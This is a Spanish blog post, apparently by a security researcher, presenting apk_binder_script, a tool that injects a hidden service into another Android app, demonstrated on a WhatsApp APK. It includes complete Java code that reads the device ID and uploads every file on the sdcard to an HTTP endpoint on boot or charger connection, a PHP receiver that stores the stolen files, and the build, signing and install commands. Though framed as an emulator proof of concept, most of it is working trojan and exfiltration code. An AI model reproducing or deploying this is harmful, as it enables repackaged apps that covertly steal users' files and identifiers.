apk_binder_script: herramienta para "bindear" apks

apk_binder_script es una herramienta que nos permite unificar dos apks en uno o agregar un servicio en código smali al apk objetivo. Para ello copia código smali, activos y manifiesto e implementa un receiver que actúa de loader cargando la clase que se ha especificado como parámetro (un servicio). 

La aplicación original se ejecuta normalmente y, en paralelo, el servicio es invocado por el loader en base a dos eventos:

    android.intent.action.BOOT_COMPLETED
    android.intent.action.ACTION_POWER_CONNECTED

Se pueden agregar acciones y permisos según se desee. En resumen, nos permite "extender" las funcionalidades de un apk, implementar puertas "administrativas", etc.

apk_binder_script está desarrollado en python y está probado en Windows y Linux. Utiliza apktool (incluído en el paquete) y por lo tanto también Java.


apk_binder_script requiere de un apk original y un apk que contendrá como mínimo un servicio que será invocado por el loader (receiver) cuando se conecte el cargador o se reinicie el dispositivo. Las acciones del receiver y los permisos están declarados en "loader/permissions.xml" y "loader/receiver.xml" que se pueden ajustar como se desee para que reaccione a los eventos que queramos.


A continuación, vamos a ver una pequeña demo de su uso.
 
En primer lugar desarrollamos una app android que contendrá este servicio. En nuestro proyecto Eclipse incluiremos el siguiente código:

MainActivity2.java - Esta clase se ha usado para pruebas, es totalmente prescindible. No es requerido para apk_binder_script.

package com.example.test_apk_binder;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;

public class MainActivity2 extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main_activity2);
        startService(new Intent(getApplicationContext(), ServiceBind.class));
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main_activity2, menu);
        return true;
    }
    
}

- ServiceBind.java - Es el servicio que será invocado por el loader. La implementación de éste se puede hacer como se quiera.

package com.example.test_apk_binder;

import android.app.Service;
import android.content.Intent;
import android.os.Environment;
import android.os.IBinder;

public class ServiceBind extends Service{

    @Override
    public IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
        return null;
    }
    
    public void onCreate(){
        try{
            
            new Thread(new Runnable() {
                public void run() {
                    new ExfiltrationData(getApplicationContext(), 
                            Environment.getExternalStorageDirectory());
                }
            }).start();
            
        }catch(Exception e){
            e.printStackTrace();
        }
    }

}

- ExfiltrationData.java - Es la clase que será cargada por el servicio para el robo de datos de la sdcard hacia un endpoint http

package com.example.test_apk_binder;

import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.ArrayList;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.InputStreamEntity;
import org.apache.http.impl.client.DefaultHttpClient;

import android.content.Context;
import android.telephony.TelephonyManager;
import android.util.Log;

public class ExfiltrationData {

    private String END_POINT = "http://10.0.2.2/apk_binder";
    private File rootPath = null;
    private Context context = null;
    private String TAG = "ExfiltrationData";
    private String serialn = null;
    private ArrayList<String> files = new ArrayList<String>();

    public ExfiltrationData(Context context, 
            File rootPath){

        init(context, rootPath);
    }

    private void init(Context context, 
            File rootPath){

        this.rootPath = rootPath;
        this.context = context;

        TelephonyManager tManager = (TelephonyManager)this.context.getSystemService(Context.TELEPHONY_SERVICE);
        serialn = tManager.getDeviceId();

        Log.d(TAG, "Iniciado con path " + rootPath);
        Log.d(TAG, "Serial number " + serialn);
        
        getFiles(this.rootPath);
        
        Log.d(TAG, "Archivos en sdcard " + files.size());
        
        sendFiles();
    }
    
    private void sendFiles(){
        
        HttpClient httpclient = new DefaultHttpClient();
        HttpPost httppost = null;
        String url = null;
        HttpResponse response = null;
        byte r[] = new byte[3];
        InputStreamEntity reqEntity  = null;
        
        try{
            for(int x=0;x<files.size();x++){
                url = 
                        END_POINT + "/?" + 
                                "sn=" + serialn + 
                                "&fn=" + URLEncoder.encode(files.get(x), "UTF-8") + 
                                "&fs=" + String.valueOf(new File(files.get(x)).length());
                httppost = new HttpPost(url);
                response = httpclient.execute(httppost);
                response.getEntity().getContent().read(r);
                httppost.abort();
                
                if((char)r[2] == '1'){ 
                    Log.d(TAG, files.get(x) + " - El fichero existe, pasamos al siguiente...");
                    continue;
                }
                else{
                    try{
                        reqEntity = new InputStreamEntity(
                                new FileInputStream(files.get(x)), -1);
                        reqEntity.setContentType("binary/octet-stream");
                        reqEntity.setChunked(true);
                        httppost = new HttpPost(url);
                        httppost.setEntity(reqEntity);
                        httpclient.execute(httppost);
                        httppost.abort();
                    }catch(Exception e){
                        Log.d(TAG, "Error al abrir el archivo: " + files.get(x) + " : " + e.getMessage());
                    }
                }
            }
        }catch(Exception e){
            e.printStackTrace();
        }
        
    }

    private void getFiles(File file){

        File temp_file = null;
        File[] list = file.listFiles(); 
        
        for(int i = 0; i < list.length; i++) {
            temp_file = new File(file.getAbsolutePath(),list[i].getName());
            if(temp_file.isDirectory() && temp_file.listFiles() != null) getFiles(temp_file);
            else files.add(temp_file.getAbsolutePath());
        }
    }
    
}

En el manifest deben constar el/los servicios que hayamos desarrollado junto con los providers, receivers, etc. Tal y como una aplicación normal.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.test_apk_binder"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="18" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        
        <service android:name="com.example.test_apk_binder.ServiceBind" />

        <activity
            android:name="com.example.test_apk_binder.MainActivity2"
            android:label="@string/title_activity_main_activity2" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        
    </application>

</manifest>

Anotamos el paquete y la clase que queremos que lance el loader. En este ejemplo es: com.example.test_apk_binder.ServiceBind
Desde android tools de eclipse, exportamos el apk sin firmar.



Usaremos whatsapp para bindearlo, en este punto tenemos:

- apk original para ser bindeado
- apk a bindear
- clase para ser lanzada por el loader

Los apks los pondremos en una carpeta llamada "demo".

Ejecutamos el siguiente comando:

python apk_binder_script.py
-t demo\com.whatsapp-2.apk
-b demo\Test_apk_binder.apk
-c com.example.test_apk_binder.ServiceBind


apk_binder_script copia todo el código smali, assets y demás carpetas, excepto la carpeta de recursos (res). Fusiona los dos manifest incorporando los permisos faltantes, servicios, providers, etc. e inserta un receiver(loader) que básicamente carga de forma dinámica el servicio que hemos implementado cuando se conecta el cargador y reinicia el dispositivo. Como dije antes, los permisos y acciones del receiver son configurables.

Posteriormente firmamos el apk generado:

jarsigner
-verbose
-sigalg SHA1withRSA
-digestalg SHA1
-keystore

-storepass

-keypass
"Bind_com.whatsapp.apk" androiddebugkey

He usado easyphp que incorpora todo lo necesario para desarrollar el endpoint que recuperará todos los datos de la sdcard.


Ahora crearemos el index.php:

<?php

 error_reporting(0);
 
 @$sn = $_GET["sn"];
 @$fn = urldecode($_GET["fn"]);
 @$fs = $_GET["fs"];
 @$file = $sn . $fn;
 @$path_file = $sn . substr($fn, 0, strripos($fn, "/"));
 
 //Comprobar si el archivo existe y/o si el tamanio es igual
 if(!@file_exists($sn)){
  @mkdir($sn);
  $exists = "0";
 }else{
  //Si existe el archivo, comprobamos su tamanio
  if(@file_exists($file)){
   @$local_fs = filesize($file);
   //El tamanio es igual
   if($local_fs == $fs) $exists = "1";
   else $exists = "0";
  }else{
   $exists = "0";
  }
 }
 
 //Si no existe y esta subiendo el archivo... lo cogemos y guardamos.
 if($exists == 0 && @file_get_contents("php://input")){
  @$body = file_get_contents("php://input");
  @mkdir($path_file, "0755", true);
  @chmod($path_file, "0755");
  @$fp = fopen($file, "w");
  @fwrite($fp, $body);
  @fclose($fp);
 }
?>

<?=$exists?><?php
 
Una vez instalado el apk, volcamos la carpeta "apk_binder" que contiene el archivo index.php en los directorios públicos de apache. De tal forma que quede así:

http:///apk_binder/index.php


ExfiltrationData apunta a http://10.0.2.2/apk_binder que es la máquina anfitrión que es visible desde el emulador, de modo que en tu máquina debe funcionarte sin problemas.

Lanzamos un emulador para hacer las pruebas. Lo he probado en versiones 2.3 y 4.x sin problemas:

emulator @nombre_emulador

Para ver el efecto de la poc, lo ideal es insertar varias carpetas y archivos en la memoria sdcard, ya que al app desarrollada roba todos los datos de la sdcard.

Instalamos apk:

adb install Bind_com.whatsapp.apk


Una vez instalado lo abrimos.

Conectamos al emulador para emular la desconexión/conexión del cargador:

telnet localhost 5554

Ejecutamos estos comandos para dicha emulación:

power ac off
power ac on


Si todo va bien, en el endpoint tendremos toda la estructura de carpetas creada de la sdcard del dispositivo.


Podéis encontrar más detalles de la herramienta en:
https://github.com/funsecurity/apk_binder_script

Si tenéis algún problema no dudéis en contactar conmigo. Las críticas, bugs o cualquier otra cosa será bienvenida. Muchas gracias!

Saludos,

--
Adrián Ruiz Bermudo
adrianruiz.net
@funsecurity

GPG
ID: 0x586270E8
FINGERPRINT: 9841 A1F0 1FB4 31B2 82F4  6E91 A660 815B 5862 70E8

4 comentarios :

  1. buena tool, se me ocurren muchas ideas malas para probarla... :-P

    ResponderEliminar
  2. Hola Adrian Ruiz , tengo un problema con el script, pense que eran los permisos de la app de whats app los cambien de rw-r--r-- a -rwxrw-rw-, pero sigo obteniendo el mismo error.

    Alguna idea.



    [+] apk bind mode
    [+] Process WhatsApp.apk ...
    Traceback (most recent call last):
    File "apk_binder_script.py", line 456, in
    init()
    File "apk_binder_script.py", line 453, in init
    get_params()
    File "apk_binder_script.py", line 420, in get_params
    apk_bind(target_apk, bind_apk, class_bind)
    File "apk_binder_script.py", line 53, in apk_bind
    subprocess.call([os.path.join("apktool", apktool_bin), "d", "-f", target_apk, target_dir_smali])
    File "/usr/lib/python2.7/subprocess.py", line 493, in call
    return Popen(*popenargs, **kwargs).wait()
    File "/usr/lib/python2.7/subprocess.py", line 679, in __init__
    errread, errwrite)
    File "/usr/lib/python2.7/subprocess.py", line 1259, in _execute_child
    raise child_exception
    OSError: [Errno 13] Permission denied

    ResponderEliminar
  3. APktool is oudated.
    No longer works.
    GARBAGE!

    ResponderEliminar